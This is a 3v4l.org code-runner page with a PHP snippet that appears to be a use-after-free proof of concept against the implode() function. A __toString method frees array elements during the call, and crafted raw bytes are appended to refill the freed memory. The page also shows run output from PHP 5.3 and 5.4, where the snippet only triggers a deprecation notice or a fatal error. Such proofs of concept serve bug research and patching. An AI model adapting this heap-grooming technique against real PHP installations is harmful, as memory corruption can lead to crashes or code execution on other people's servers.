3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php class dummy { public function __toString() { unset($GLOBALS['arr1'][0]); unset($GLOBALS['arr1'][1]); $GLOBALS['test1'] .= "\x00\x00\x40\x00\x10\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00"; return ''; } } $test1=''; $arr1 = array(new dummy, 1); $data = implode(",", &$arr1); var_dump($data);
Output for 5.4.0 - 5.4.10
Fatal error: Call-time pass-by-reference has been removed in /in/8ZnVV on line 14
Process exited with code 255.
Output for 5.3.0 - 5.3.29
Deprecated: Call-time pass-by-reference has been deprecated in /in/8ZnVV on line 14 string(1) ","